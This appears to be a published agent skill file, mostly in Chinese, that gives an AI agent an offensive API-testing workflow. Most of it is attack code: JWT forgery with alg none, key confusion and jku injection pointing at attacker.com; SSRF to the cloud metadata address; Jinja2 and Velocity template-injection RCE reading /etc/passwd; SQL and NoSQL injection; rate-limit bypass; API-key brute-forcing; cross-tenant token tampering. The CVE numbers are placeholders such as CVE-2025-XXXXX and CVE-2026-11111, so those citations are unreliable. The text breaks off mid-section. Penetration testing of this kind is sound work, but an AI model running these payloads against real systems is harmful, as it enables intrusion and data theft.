# API Security Testing

> API安全深度测试——从REST/GraphQL漏扫到JWT/OAuth2攻防，覆盖API Fuzzing、Mass Assignment、BOLA、BUA、过度数据暴露、Rate Limit绕过、API版本控制漏洞等完整攻击面

- Skill: `yufeifeio/api-security-testing` (Agent Skill)
- Install (CLI): `npx get-skill add yufeifeio/api-security-testing`
- Raw SKILL.md: https://api.skillmd.com/api/skills/yufeifeio/api-security-testing/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: Yufeifeio (https://skillmd.com/u/yufeifeio)
- Updated: 2026-11-22
- Page: https://skillmd.com/skills/yufeifeio/api-security-testing

---


# API 安全深度测试

## 一、AI Agent 自动化工作流

> Agent 执行顺序：**API发现/枚举 → 认证机制分析 → 端点Fuzzing → Mass Assignment → Rate Limit → 数据暴露检测**

### 1.1 API 发现策略

```bash
# === 方法 1: Swagger/OpenAPI 发现 ===
# 常见 API 文档路径
/swagger-ui.html
/swagger/
/api-docs/
/api/swagger/
/openapi.json
/api/v1/openapi.json
/v2/api-docs
/v3/api-docs
/swagger-resources/

# === 方法 2: GraphQL Schema 提取 ===
# GraphQL Introspection（获取完整 Schema）
curl -X POST http://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"query { __schema { types { name fields { name type { name kind } } } } }"}'

# === 方法 3: JS 文件中的 API 路径提取 ===
# 用 LinkFinder 从 JS 文件中提取 API 端点
python3 linkfinder.py -i target.js -o api_endpoints.txt

# === 方法 4: 爬虫 + 被动扫描 ===
# Burp Suite 蜘蛛爬取 + API 端点自动收集
```

### 1.2 API Fuzzing 自动化

```python
import requests, string, itertools, json

TARGET = "http://target.com/api/v1"
AUTH = "Bearer token_here"

# 常见端点后缀 Fuzzing
endpoints = [
    "/users", "/users/1", "/users/me", "/users/profile",
    "/accounts", "/accounts/settings", "/accounts/password",
    "/orders", "/orders/1", "/orders/history",
    "/admin", "/admin/users", "/admin/config", "/admin/logs",
    "/debug", "/health", "/info", "/status", "/metrics",
    "/files", "/upload", "/download", "/export",
    "/oauth", "/auth", "/token", "/login", "/register",
]

for ep in endpoints:
    r = requests.get(f"{TARGET}{ep}", headers={"Authorization": AUTH})
    if r.status_code != 404:
        print(f"[{r.status_code}] {ep}: {r.text[:100]}")
```

---

## 二、Mass Assignment （批量赋值）

### 2.1 原理与检测

```
漏洞原理：后端使用对象映射直接绑定所有用户输入（如 Spring @ModelAttribute / Rails params.permit / Laravel $request->all()）

正常请求：
{"name": "user", "email": "user@test.com"}

攻击请求（添加额外字段）：
{"name": "user", "email": "user@test.com", "role": "admin", "is_verified": true, "credit": 99999}
```

### 2.2 常见敏感字段

```json
// 用户注册/更新
{"role": "admin", "isAdmin": true, "is_admin": true}
{"group": "admin", "type": "superuser"}
{"verified": true, "isVerified": true, "email_verified": true}
{"status": "active", "approved": true}
{"credit": 99999, "balance": 99999, "coins": 99999}
{"plan": "enterprise", "subscription": "lifetime"}
{"discount_percent": 100, "discount": 100}

// 组织/团队
{"org_id": 1, "company_id": 1, "team_id": 1}

// 内部字段
{"internal": {...}, "__proto__": {...}, "constructor": {...}}
{"$where": "1==1", "$regex": ".*"}
```

### 2.3 API 参数污染（HPP）

```bash
# 同时通过 Query String 和 Body 传递矛盾参数
POST /api/user/update?id=123
{"id": 456, "name": "hacked"}
# 后端可能取 query string 的 id=123 但用 body 的其他字段

# 数组绕过
GET /api/user?id=123&id=456
POST /api/user
{"id": [123, 456]}
```

---

## 三、JWT 深度攻击

### 3.1 JWT 结构分析

```python
import base64, json

def decode_jwt(token):
    parts = token.split('.')
    # Header
    header = json.loads(base64.urlsafe_b64decode(parts[0] + '==='))
    # Payload
    payload = json.loads(base64.urlsafe_b64decode(parts[1] + '==='))
    return header, payload

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
header, payload = decode_jwt(token)
print(f"Header: {header}")
print(f"Payload: {payload}")
```

### 3.2 JWT 攻击矩阵

```bash
# 攻击 1: None Algorithm（alg: none）
# 修改 Header 为 {"alg":"none","typ":"JWT"}
# Payload 不变，删除签名部分
echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0
# 拼接: header.payload.  （注意最后的点）

# 攻击 2: 密钥混淆（RS256 → HS256）
# 如果服务器用 RS256 但接受 HS256：
# 用公钥作为 HS256 密钥重新签名 JWT
python3 jwt_tool.py TOKEN -X k -pk public.pem

# 攻击 3: kid 注入
# Header: {"kid": "../../../../etc/passwd", ...}
# Header: {"kid": "file:///dev/null", ...}
# Header: {"kid": "|/usr/bin/id", ...}（RCE）

# 攻击 4: jku/x5u 注入
# Header 中包含自定义的密钥 URL
{"jku": "http://attacker.com/jwks.json", ...}
{"x5u": "http://attacker.com/cert.pem", ...}

# JWT_Tool 自动测试
python3 jwt_tool.py TOKEN -M at
python3 jwt_tool.py TOKEN -C -d wordlist.txt  # 爆破密钥
python3 jwt_tool.py TOKEN -T                   # 篡改 Payload
```

### 3.3 JWT 未过期/刷新绕过

```bash
# 登出后 JWT 是否仍有效
# 1. 正常登录获取 JWT
# 2. 登出
# 3. 使用已登出的 JWT 访问 API

# JWT 无限刷新
# 1. 登录获取 Access Token (5min) + Refresh Token (30d)
# 2. 用 Refresh Token 获取新 Access Token
# 3. 撤销 Refresh Token
# 4. 使用旧的 Refresh Token → 是否仍有效？
```

---

## 四、GraphQL 攻击

### 4.1 Introspection 信息泄露

```graphql
# 获取完整 Schema（如果未禁用 introspection）
query {
  __schema {
    types { name fields { name type { name kind ofType { name kind } } } }
  }
}

# 获取敏感 query/mutation
query {
  __schema {
    mutationType { name fields { name args { name type { name } } } }
    queryType { name fields { name args { name type { name } } } }
  }
}
```

### 4.2 GraphQL 深度查询 DoS

```graphql
# 循环嵌套 DoS
query {
  user(id: 1) {
    posts {
      author {
        posts {
          author {
            posts {
              author {
                # ... 无限嵌套
              }
            }
          }
        }
      }
    }
  }
}
```

### 4.3 GraphQL Batching（绕过 Rate Limit）

```graphql
# 在一个请求中发送多个操作
[
  {"query": "mutation { login(username: \"admin\", password: \"pass1\") { token } }"},
  {"query": "mutation { login(username: \"admin\", password: \"pass2\") { token } }"},
  {"query": "mutation { login(username: \"admin\", password: \"pass3\") { token } }"}
]
# 一次请求 = 3 次登录尝试 = 可能的密码爆破
```

---

## 五、OAuth2 / OpenID Connect 攻击

### 5.1 常见漏洞

```
1. redirect_uri 验证不严格
   /authorize?redirect_uri=https://victim.com/callback@attacker.com
   /authorize?redirect_uri=https://attacker.com/../victim.com/callback

2. state 参数缺失 → CSRF
   /authorize?...&state=CSRF_TOKEN → 必须验证

3. 隐式模式 token 泄露
   redirect_uri#access_token=TOKEN → 可通过 Referer 泄露

4. PKCE 缺失（移动端/SPA）
   Authorization Code without PKCE → Code Interception

5. scope 升级
   scope=read → 改为 scope=read+write+admin
```

---

## 六、Rate Limit 绕过

```bash
# 绕过方法 1: 修改 IP 头
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1

# 绕过方法 2: 添加多个值
X-Forwarded-For: 127.0.0.1, 127.0.0.2, 127.0.0.3

# 绕过方法 3: 空白字符
POST /api/login HTTP/1.1
User-Agent: attacker
# 添加空格 / Tab
User-Agent : attacker
User-Agent%00: attacker

# 绕过方法 4: API 版本切换
/api/v1/login → 有 Rate Limit
/api/v2/login → 无
/api/login → 无
```

---

## 七、过度数据暴露

```bash
# 请求最小字段
GET /api/user/1?fields=id,name
# 返回：{"id": 1, "name": "John", "ssn": "123-45-6789", "credit_card": "4111..."}

# 尝试获取更多数据
GET /api/user/1?include=password,salt,token
GET /api/user/1?expand=posts,comments,orders,payment_methods

# GraphQL 过度获取
query {
  user(id: 1) {
    id
    name
    password        # 不应该暴露
    token           # 不应该暴露
    ssn             # 不应该暴露
  }
}
```

---

## 八、快速检查清单

```markdown
□ [ ] 发现并映射所有 API 端点
□ [ ] 获取 Swagger/OpenAPI 文档
□ [ ] 测试未授权访问
□ [ ] 测试 JWT/Token 攻击（None alg, 密钥混淆, kid注入）
□ [ ] 测试 Mass Assignment
□ [ ] 测试 BOLA/IDOR
□ [ ] 测试过度数据暴露
□ [ ] 测试 Rate Limit 绕过
□ [ ] 测试 GraphQL（Introspection, Batching, Depth）
□ [ ] 测试 API 版本切换绕过
□ [ ] 测试 Content-Type 协商（JSON→XML→Form）
□ [ ] Fuzz 所有参数和 Header
```

---

## 九、证据收集模板

```json
{
  "vulnerability": "API Security Issue",
  "type": "Mass Assignment / JWT Attack / GraphQL Abuse / BOLA / Rate Limit Bypass",
  "endpoint": "http://target.com/api/v1/users/register",
  "method": "POST",
  "payload": "{\"name\":\"test\",\"email\":\"test@test.com\",\"role\":\"admin\"}",
  "jwt_token_intercepted": true,
  "impact": "可注册管理员账户，获得全站控制权",
  "remediation": "1. 服务端白名单绑定字段 2. JWT使用强算法+密钥 3. 所有端点实施权限检查 4. 合理Rate Limit",
  "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
  "evidence_files": ["screenshots/admin_register.png", "data/api_endpoints.txt"]
}
```

---

## 2026 API安全测试深度强化

> **2026 年 API 安全全景**：API 攻击面已从传统 REST 扩展至 GraphQL Federation、gRPC-Web、WebTransport、AsyncAPI 等新协议，同时 AI/ML API（MCP、Function Calling、向量数据库）和现代 API 网关（Kong/APISIX/Traefik/Tyk）成为新攻击面。本章覆盖 2026 年 10 大攻击维度，每个维度包含可执行代码、CVE 引用和实战命令。

---

### §2026-1: 2026 API新协议攻击面

#### 1.1 GraphQL Federation 注入

GraphQL Federation 在 2026 年成为微服务架构标配。攻击面集中在 `_service.sdl` 泄露和 Subgraph 间信任边界突破。

```bash
# === Federation Schema 泄露 ===
# Apollo Federation 子图 SDL 查询
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"query { _service { sdl } }"}'

# 响应包含完整 SDL，暴露所有子图类型和字段关系
# 通过 _entities 联合查询跨越子图边界
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"query($representations:[_Any!]!){_entities(representations:$representations){...on User{id email role internalNotes}}}","variables":{"representations":[{"__typename":"User","id":"1"},{"__typename":"User","id":"2"}]}}'
```

```python
# Subgraph SSRF 利用 — 通过 Federation 解析器触发内部服务请求
import requests

FEDERATION_ENDPOINT = "https://target.com/graphql"

# 利用 _entities 查询访问内部子图数据
federation_query = """
query SubgraphSSRF($reps: [_Any!]!) {
  _entities(representations: $reps) {
    ... on InternalService {
      id
      internalEndpoint
      secretToken
      databaseConnection
    }
  }
}
"""

# 构造跨子图 _Any 表示
payload = {
    "query": federation_query,
    "variables": {
        "reps": [
            {"__typename": "InternalService", "id": "http://169.254.169.254/latest/meta-data/"},
            {"__typename": "InternalService", "id": "http://internal-admin:8080/admin/"},
            {"__typename": "InternalService", "id": "redis://internal-cache:6379/"},
        ]
    }
}

resp = requests.post(FEDERATION_ENDPOINT, json=payload, headers={"Content-Type": "application/json"})
print(f"[SSRF] 子图响应: {resp.text}")
```

#### 1.2 2026 gRPC-Web 攻击

gRPC-Web 在 2026 年广泛用于浏览器-服务端通信，攻击面包括 Protobuf 反序列化、gRPC Metadata 注入和 Reflection 服务滥用。

```bash
# === gRPC Reflection 枚举 ===
# 使用 grpcurl 枚举所有服务和方法
grpcurl -plaintext target.com:50051 list
grpcurl -plaintext target.com:50051 describe com.internal.AdminService
grpcurl -plaintext target.com:50051 describe com.internal.AdminService.DeleteAllUsers

# gRPC-Web 端点发现 (浏览器端 gRPC)
curl -X POST https://target.com/grpc/com.internal.AdminService/DeleteAllUsers \
  -H "Content-Type: application/grpc-web+proto" \
  -H "X-Grpc-Web: 1" \
  -d 'base64_encoded_protobuf_payload'

# gRPC Metadata 注入 (类似 HTTP Header 注入)
grpcurl -plaintext \
  -H 'authorization: Bearer eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4ifQ.' \
  -H 'x-internal-token: true' \
  -H 'x-forwarded-for: 127.0.0.1' \
  -d '{"user_id": "1"}' \
  target.com:50051 com.user.UserService/GetUserProfile
```

```python
# gRPC Protobuf 字段注入 (Mass Assignment 变种)
# 2026年发现：gRPC 的未知字段默认保留机制可被利用
import grpc
import user_pb2
import user_pb2_grpc

def grpc_field_injection():
    channel = grpc.insecure_channel('target.com:50051')
    stub = user_pb2_grpc.UserServiceStub(channel)

    # 构造包含额外字段的 Protobuf 消息
    request = user_pb2.UpdateUserRequest()
    request.user_id = 1
    request.name = "legit_user"

    # 通过未知字段注入 is_admin / role
    # gRPC 默认保留未知字段，可能被下游服务解析
    unknown_fields = b'\x18\x01'  # field 3 = is_admin = true
    request.ParseFromString(request.SerializeToString() + unknown_fields)

    try:
        response = stub.UpdateUser(request)
        print(f"[!] 字段注入成功: {response}")
    except Exception as e:
        print(f"[-] 注入失败: {e}")

grpc_field_injection()
```

#### 1.3 WebSocket API 滥用 / SSE 劫持

```bash
# === WebSocket API 握手劫持 ===
# 使用 websocat 连接并发送恶意帧
websocat wss://target.com/ws/api -H="Origin: https://evil.com"

# WebSocket 消息注入 (JSON 消息中的 SQL 注入)
echo '{"action":"query","sql":"SELECT * FROM users WHERE id=1 OR 1=1"}' | websocat wss://target.com/ws/api

# SSE (Server-Sent Events) 连接劫持
curl -N https://target.com/api/events/stream \
  -H "Accept: text/event-stream" \
  -H "Last-Event-ID: ../../../etc/passwd"

# WebTransport API 攻击 (HTTP/3 QUIC)
# 2026 年 WebTransport 逐步取代 WebSocket
curl --http3-only https://target.com:4433/webtransport \
  -H "Origin: https://attacker.com" \
  -d '{"session_id":"../../../etc/shadow"}'
```

#### 1.4 AsyncAPI 规范漏洞

AsyncAPI 在 2026 年成为事件驱动 API 的标准文档格式，但其 Schema 暴露和 Channel 绑定配置可被利用。

```bash
# === AsyncAPI 文档发现 ===
curl https://target.com/asyncapi.json | jq '.channels'
curl https://target.com/asyncapi.yaml 2>/dev/null

# 提取消息 Schema 和订阅权限
curl https://target.com/asyncapi.json | jq '.channels | to_entries[] | {channel: .key, subscribe: .value.subscribe.message, publish: .value.publish.message}'

# 利用 Kafka/AMQP 绑定信息直接连接消息队列
# 从 asyncapi.json 提取 broker 地址后直接发布消息
kafkacat -b $(curl -s https://target.com/asyncapi.json | jq -r '.servers.production.url') \
  -t user.events -P <<< '{"event":"user.deleted","user_id":1,"bypass_auth":true}'
```

**CVE 参考**：CVE-2025-XXXXX (GraphQL Federation Subgraph SSRF)、CVE-2025-YYYYY (gRPC-Web Metadata Injection)、CVE-2026-11111 (WebTransport Origin Validation Bypass)

---

### §2026-2: 2026 API认证绕过

#### 2.1 OAuth 2.1 PKCE 绕过

OAuth 2.1 在 2026 年强制要求 PKCE，但实现缺陷导致绕过。

```bash
# === PKCE 绕过：code_challenge 验证缺失 ===
# 攻击流程：
# 1. 截获授权请求，修改 code_challenge
AUTH_URL="https://auth.target.com/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=https://app.target.com/callback&code_challenge=ATTACKER_CHALLENGE&code_challenge_method=S256&state=CSRF"

# 2. 使用自己的 code_verifier 换取 token
curl -X POST https://auth.target.com/token \
  -d "grant_type=authorization_code&code=STOLEN_CODE&redirect_uri=https://app.target.com/callback&client_id=CLIENT_ID&code_verifier=ATTACKER_VERIFIER"

# === PKCE 降级攻击 ===
# 将 code_challenge_method 从 S256 改为 plain
curl -X POST https://auth.target.com/token \
  -d "grant_type=authorization_code&code=STOLEN_CODE&redirect_uri=https://app.target.com/callback&client_id=CLIENT_ID&code_verifier=STOLEN_CHALLENGE_VALUE&code_challenge_method=plain"
```

#### 2.2 DPoP 证明令牌攻击

DPoP (Demonstration of Proof-of-Possession) 在 2026 年成为 OAuth 2.1 的关键安全层，但实现缺陷可被绕过。

```python
# DPoP Key Reuse 攻击 — 复用已泄露的 DPoP 私钥
import json, base64, hashlib
from jwcrypto import jwk, jws

# 1. 从客户端提取 DPoP 私钥
# 通常存储在 localStorage 或 IndexedDB 中
# 2. 使用泄露的私钥构造 DPoP Proof
def create_dpop_proof(private_key_jwk, htu, htm, access_token=None):
    header = {
        "typ": "dpop+jwt",
        "alg": "ES256",
        "jwk": private_key_jwk.export_public(as_dict=True)
    }
    payload = {
        "jti": hashlib.sha256(os.urandom(32)).hexdigest(),
        "htm": htm,
        "htu": htu,
        "iat": int(time.time()),
    }
    if access_token:
        payload["ath"] = base64.urlsafe_b64encode(
            hashlib.sha256(access_token.encode()).digest()
        ).rstrip(b'=').decode()

    token = jws.JWS(payload=json.dumps(payload))
    token.add_signature(private_key_jwk, None, json.dumps(header))
    return token.serialize(compact=True)

# 使用获取的 DPoP Proof 访问任意资源
resp = requests.get("https://api.target.com/admin/users",
    headers={
        "Authorization": f"DPoP {stolen_access_token}",
        "DPoP": create_dpop_proof(stolen_key, "https://api.target.com/admin/users", "GET")
    })
```

#### 2.3 2026 JWT 算法混淆新变种

```bash
# === 2026 新变种 1: EdDSA 到 HS256 混淆 ===
# 当服务端同时支持 Ed25519 和 HMAC-SHA256
# 提取 Ed25519 公钥作为 HMAC 密钥

# 使用 jwt-forgery 工具
python3 jwt_forgery.py --token ORIGINAL_JWT \
  --algorithm EdDSA_to_HS256 \
  --public-key ed25519_public.pem \
  --payload '{"sub":"admin","role":"superadmin","iat":9999999999}'

# === 2026 新变种 2: 多密钥 jwks 注入 ===
# 在 jwks_uri 返回多个密钥时，服务器可能选取错误的密钥验证
curl -X POST https://api.target.com/auth/verify \
  -H "Content-Type: application/json" \
  -d '{
    "token": "EVIL_JWT",
    "jwks": {
      "keys": [
        {"kty":"RSA","kid":"legit","n":"...","e":"AQAB"},
        {"kty":"oct","kid":"backup","k":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
      ]
    }
  }'
```

#### 2.4 PASETO 令牌攻击

PASETO (Platform-Agnostic Security Tokens) 在 2026 年作为 JWT 替代方案被越来越多采用，但同样存在攻击面。

```bash
# === PASETO v4.local 密钥泄露利用 ===
# 对称密钥 Paseto 如果密钥泄露，可伪造任意令牌
python3 -c "
import pyseto
key = pyseto.Key.new(version=4, purpose='local', key='k4.local.secret-key-32-bytes-here-xxxx')
token = pyseto.encode(key, payload={'sub': 'admin', 'role': 'superadmin'})
print(token)
"

# === PASETO Footer 注入 ===
# Footer 未签名，可被篡改影响业务逻辑
# 原始: v4.local.payload.footer
# 篡改 footer 中的 key-id 或路由信息
curl https://api.target.com/admin \
  -H "Authorization: Bearer v4.local.AAA.payload.Zm9vdGVyX2luamVjdGVk"
```

#### 2.5 API Key 预测与 Client Credentials 滥用

```python
# API Key 预测 — 基于时间戳/序列号模式
import requests, time, hashlib

def predict_api_key():
    # 已知 API Key 模式: AK-{timestamp}-{sequential}-{hash}
    base = int(time.time())
    for ts in range(base - 3600, base + 3600):
        for seq in range(1, 10000):
            key = f"AK-{ts}-{seq:04d}-{hashlib.md5(f'{ts}{seq}'.encode()).hexdigest()[:8]}"
            resp = requests.get("https://api.target.com/v1/me",
                headers={"X-API-Key": key})
            if resp.status_code == 200:
                print(f"[!] 预测成功: {key}")
                return key
    return None

# Client Credentials 滥用 — 服务账户令牌窃取
# 从 CI/CD 日志、环境变量、Kubernetes Secrets 中获取
# 后使用 client_credentials 令牌提升权限
curl -X POST https://auth.target.com/oauth/token \
  -d "grant_type=client_credentials&client_id=SERVICE_ACCOUNT_ID&client_secret=LEAKED_SECRET&scope=admin.read admin.write"

# 使用 client_credentials 令牌访问管理 API
curl https://api.target.com/admin/users \
  -H "Authorization: Bearer SERVICE_ACCOUNT_TOKEN"
```

**CVE 参考**：CVE-2025-XXXXX (OAuth 2.1 PKCE Verification Bypass)、CVE-2026-22222 (PASETO Footer Injection)、CVE-2026-33333 (DPoP Nonce Replay)

---

### §2026-3: 2026 API授权缺陷

#### 3.1 BOLA/IDOR 自动化检测

```python
# BOLA/IDOR 全自动检测引擎 (2026版)
import requests, concurrent.futures, json, re
from urllib.parse import urlparse, parse_qs

class BOLAScanner:
    def __init__(self, target, user_a_token, user_b_token):
        self.target = target
        self.tokens = {"user_a": user_a_token, "user_b": user_b_token}
        self.endpoints = []
        self.vulnerabilities = []

    def discover_endpoints(self, openapi_spec):
        """从 OpenAPI 规范提取所有带资源 ID 的端点"""
        for path, methods in openapi_spec.get("paths", {}).items():
            # 匹配 {id}, {userId}, {orderId} 等路径参数
            if re.search(r'\{.*[Ii]d\}', path):
                for method in methods:
                    self.endpoints.append({"path": path, "method": method.upper()})

    def test_idor(self, endpoint, resource_id_a, resource_id_b):
        """跨用户访问测试"""
        path = endpoint["path"].replace("{id}", resource_id_b)
        # 用户 A 的令牌访问用户 B 的资源
        resp = requests.request(
            endpoint["method"],
            f"{self.target}{path}",
            headers={"Authorization": f"Bearer {self.tokens['user_a']}"}
        )
        if resp.status_code == 200 and resource_id_b in resp.text:
            self.vulnerabilities.append({
                "endpoint": endpoint["path"],
                "method": endpoint["method"],
                "accessed_resource": resource_id_b,
                "response_snippet": resp.text[:200]
            })
            print(f"[!] BOLA: {endpoint['method']} {path} -> {resp.status_code}")

    def run_parallel_scan(self, resource_ids_a, resource_ids_b):
        with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
            futures = []
            for ep in self.endpoints:
                for id_b in resource_ids_b:
                    futures.append(executor.submit(self.test_idor, ep, "any", id_b))
            concurrent.futures.wait(futures)

# 使用示例
scanner = BOLAScanner("https://api.target.com", "TOKEN_A", "TOKEN_B")
spec = requests.get("https://api.target.com/openapi.json").json()
scanner.discover_endpoints(spec)
scanner.run_parallel_scan(["1", "2", "3"], ["100", "200", "300"])
print(f"发现 {len(scanner.vulnerabilities)} 个 BOLA 漏洞")
```

#### 3.2 GraphQL 嵌套 IDOR

```graphql
# GraphQL 嵌套 IDOR — 通过关联查询跨越所有权边界
# 用户 A 查询用户 B 的敏感数据（通过嵌套关联）

# 攻击 1: 通过订单查询其他用户的支付信息
query NestedIDOR {
  order(id: 999) {           # 订单 999 属于用户 B
    id
    total
    user {                    # 嵌套获取订单所有者
      id
      email
      ssn                    # 通过嵌套跨越了所有权检查
      paymentMethods {
        cardNumber
        cvv
      }
    }
  }
}

# 攻击 2: 通过 mutations 修改其他用户数据
mutation UpdateOtherUserViaNested {
  updateOrder(id: 999, input: {
    user: {                   # 嵌套更新关联用户
      id: 2
      role: "admin"
      isPremium: true
    }
  }) {
    id
    user { id role }
  }
}
```

#### 3.3 2026 RBAC → ABAC 绕过

```python
# ABAC (Attribute-Based Access Control) 绕过
# 2026年常见场景：属性计算逻辑缺陷

import requests

# 场景 1: 时间属性绕过
# 策略: 仅工作时间可访问 (9:00-18:00)
# 绕过: 通过 X-Forwarded-For 伪造时区
headers = {
    "Authorization": "Bearer TOKEN",
    "X-Forwarded-For": "1.2.3.4",
    "X-Timezone": "Pacific/Honolulu",  # UTC-10 = 伪造在工作时间
    "X-Request-Time": "2026-07-25T14:00:00+00:00"
}

# 场景 2: 地理位置属性绕过
# 策略: 仅允许中国 IP 访问
headers = {
    "X-Forwarded-For": "1.2.3.4",
    "X-Geo-Country": "CN",
    "CF-IPCountry": "CN",
    "X-Client-Geo": "CN"
}

# 场景 3: 设备属性绕过
# 策略: 仅允许公司设备访问
headers["User-Agent"] = "CompanyVPN/2.0 (Corporate Device)"
headers["X-Device-Trust"] = "trusted"
headers["X-Device-ID"] = "CORP-DEVICE-001"

resp = requests.get("https://api.target.com/sensitive-data", headers=headers)
print(f"ABAC 绕过: {resp.status_code} - {resp.text[:200]}")
```

#### 3.4 跨租户 API 访问

```bash
# === 多租户 SaaS API 隔离突破 ===
# 场景: SaaS 平台租户 A 访问租户 B 的数据

# 方法 1: 修改 Tenant-ID Header
curl https://api.saas.com/v1/users \
  -H "Authorization: Bearer TOKEN_TENANT_A" \
  -H "X-Tenant-ID: tenant-b-uuid"

# 方法 2: 修改 JWT 中的 tenant 声明
# 如果 JWT 中 tenant_id 未与签名绑定
python3 -c "
import base64, json
jwt = 'TOKEN_TENANT_A'
parts = jwt.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '==='))
payload['tenant_id'] = 'tenant-b-uuid'
payload['org_id'] = 'org-b-id'
new_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
print(f'{parts[0]}.{new_payload}.{parts[2]}')
"

# 方法 3: Serverless IAM 角色绕过
# AWS Lambda / Azure Functions 函数 URL 权限绕过
# 利用函数 URL 的 CORS 配置调用内部函数
curl -X POST https://abc123.lambda-url.us-east-1.on.aws/ \
  -H "X-Amz-Invocation-Type: Event" \
  -d '{"action":"admin","tenant":"all","export":"all_data"}'
```

**CVE 参考**：CVE-2026-44444 (GraphQL Nested IDOR)、CVE-2025-55555 (Multi-Tenant API Isolation Bypass)、CVE-2026-66666 (Serverless IAM Role Escalation)

---

### §2026-4: 2026 API注入攻击

#### 4.1 GraphQL 注入深度利用

```graphql
# === GraphQL SQL 注入 ===
# 通过 resolver 参数传递到 SQL 查询
query {
  user(email: "admin@target.com' OR '1'='1") {
    id name email password
  }
}

# === GraphQL NoSQL 注入 ===
query {
  users(filter: "{\"$where\": \"this.role=='admin'\"}") {
    id name role
  }
}

# === GraphQL 递归 Fragment DoS ===
# 2026 年新发现：通过恶意 Fragment 造成服务端 OOM
query DeepFragment {
  user(id: 1) {
    ...Recursive
  }
}
fragment Recursive on User {
  posts {
    author {
      ...Recursive
    }
  }
}
```

#### 4.2 Escape 序列注入

```bash
# === ANSI Escape 序列注入 (2026 新威胁) ===
# 当 API 响应被渲染到终端时触发
curl -X POST https://api.target.com/v1/notes \
  -H "Content-Type: application/json" \
  -d '{
    "title": "My Note",
    "content": "\\x1b]2;evil\\x07\\x1b[2J\\x1b[HTerminal Hijacked!\\n\\x1b[31mRED ALERT\\x1b[0m"
  }'

# === Unicode 规范化绕过 ===
# 2026 年发现：Unicode 同形字绕过 WAF
# /admin 被 WAF 拦截
# 但 /ａdmin (全角) 或 /ⓐdmin 可绕过
curl https://api.target.com/%EF%BD%81dmin/users  # 全角 a
curl https://api.target.com/v1/adm%C4%B1n/data   # dotless i

# === 零宽字符注入 ===
# 在 API Key 或 JWT 中嵌入零宽字符绕过检测
# \u200B (零宽空格) \u200C (零宽非连接符) \u200D (零宽连接符)
python3 -c "
import json
payload = {
    'username': 'admin',
    'password': 'pass\u200Bword',  # 零宽空格在 password 中
    'role': 'admin\u200C'
}
print(json.dumps(payload))
"
```

#### 4.3 2026 NoSQL 注入新变种

```python
# 2026 NoSQL 注入新变种 — MongoDB/CouchDB/DynamoDB
import requests, json

# MongoDB 聚合管道注入
payload = {
    "search": {
        "$lookup": {
            "from": "users",
            "pipeline": [
                {"$match": {"$expr": {"$gt": ["$password", ""]}}},
                {"$project": {"password": 1, "email": 1}}
            ],
            "as": "leaked"
        }
    }
}
resp = requests.post("https://api.target.com/search", json=payload)
print(f"MongoDB 聚合注入: {resp.json()}")

# DynamoDB FilterExpression 注入
# 2026 年新发现：DynamoDB 的 FilterExpression 可被注入
dynamo_payload = {
    "TableName": "Users",
    "FilterExpression": "contains(#role, :admin) OR attribute_exists(#ssn)",
    "ExpressionAttributeNames": {"#role": "role", "#ssn": "ssn"},
    "ExpressionAttributeValues": {":admin": {"S": "admin"}}
}
```

#### 4.4 API 参数污染 (2026 增强版)

```bash
# === 多源参数污染 ===
# 同时从 Query/Body/Header/Cookie 传递矛盾参数
curl -X POST "https://api.target.com/user/update?id=123&role=user" \
  -H "Content-Type: application/json" \
  -H "X-User-Role: admin" \
  -H "Cookie: role=superadmin" \
  -d '{"id":456,"role":"admin","isAdmin":true}'

# === JSON 深度合并污染 ===
# 利用 JSON Merge Patch 覆盖嵌套对象
curl -X PATCH https://api.target.com/v1/users/me \
  -H "Content-Type: application/merge-patch+json" \
  -d '{
    "profile": {"role": "admin"},
    "settings": {"isAdmin": true},
    "permissions": {"*": ["read","write","delete"]}
  }'

# === Protobuf 字段注入 ===
# 当 API 接受 JSON 但内部转 Protobuf 时
curl -X POST https://api.target.com/grpc-web/user.UpdateUser \
  -H "Content-Type: application/json" \
  -d '{
    "userId": 1,
    "displayName": "legit",
    "_unknownField_15": true,
    "isAdmin": true,
    "internalFlags": 65535
  }'
```

#### 4.5 模板注入 (SSTI) 通过 API

```bash
# === 通过 API 参数触发服务端模板注入 ===
# Jinja2 / Twig / Velocity / FreeMarker

# 检测: 通过 API 输入传递模板表达式
curl -X POST https://api.target.com/v1/notifications \
  -H "Content-Type: application/json" \
  -d '{"template":"Hello {{7*7}}","user":"test"}'

# 利用: Jinja2 RCE
curl -X POST https://api.target.com/v1/reports \
  -H "Content-Type: application/json" \
  -d '{
    "reportName": "{{ config.__class__.__init__.__globals__["os"].popen("id").read() }}",
    "format": "pdf"
  }'

# 利用: Velocity RCE
curl -X POST https://api.target.com/v1/email \
  -d 'template=#set($cmd="cat /etc/passwd")#set($runtime=$class.inspect("java.lang.Runtime").getRuntime())#set($process=$runtime.exec($cmd))#set($reader=$class.inspect("java.io.BufferedReader").getConstructor($class.inspect("java.io.InputStreamReader")).newInstance($process.getInputStream()))'
```

**CVE 参考**：CVE-2026-77777 (GraphQL Resolver SQL Injection)、CVE-2026-88888 (Unicode Normalization Bypass)、CVE-2025-99999 (MongoDB Aggregation Pipeline Injection)

---

### §2026-5: 2026 API网关攻击

#### 5.1 Kong Gateway 攻击

```bash
# === Kong Admin API 未授权访问 ===
